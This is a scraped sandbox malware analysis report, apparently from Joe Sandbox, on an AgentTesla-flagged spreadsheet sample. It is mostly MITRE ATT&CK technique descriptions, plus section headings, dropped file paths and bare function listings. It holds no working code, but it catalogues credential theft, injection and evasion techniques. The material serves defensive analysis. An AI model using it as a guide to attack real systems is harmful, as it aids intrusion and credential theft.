Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO 2_5_24.xlam.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Clinton

C:\Users\user\AppData\Local\Temp\aut9A3D.tmp

C:\Users\user\AppData\Local\Temp\aut9AAC.tmp

C:\Users\user\AppData\Local\Temp\nondefinition

C:\Users\user\AppData\Local\Temp\~$imgs.xlsx

C:\Users\user\AppData\Roaming\CKK.exe

C:\Users\user\Desktop\~$PO 2_5_24.xlam.xls

C:\Users\user\Desktop\~$PO 2_5_24.xlam.xlsx

Static File Info

General

Windows Analysis Report
PO 2_5_24.xlam.xlsx

Function 035904C4 Relevance: 4.6, APIs: 3, Instructions: 119
processCOMMON

Function 03590502 Relevance: 4.6, APIs: 3, Instructions: 98
processfileCOMMON

Function 035904E8 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Function 035902D0 Relevance: 3.1, APIs: 2, Instructions: 85
COMMON

Function 03590563 Relevance: 3.1, APIs: 2, Instructions: 70
COMMON

Function 035905A1 Relevance: 3.1, APIs: 2, Instructions: 56
processCOMMON

Function 03590580 Relevance: 3.1, APIs: 2, Instructions: 53
COMMON

Function 03590259 Relevance: 1.6, APIs: 1, Instructions: 147
fileCOMMON

Function 035900AB Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Function 035900EB Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Function 03590365 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Function 0359040F Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre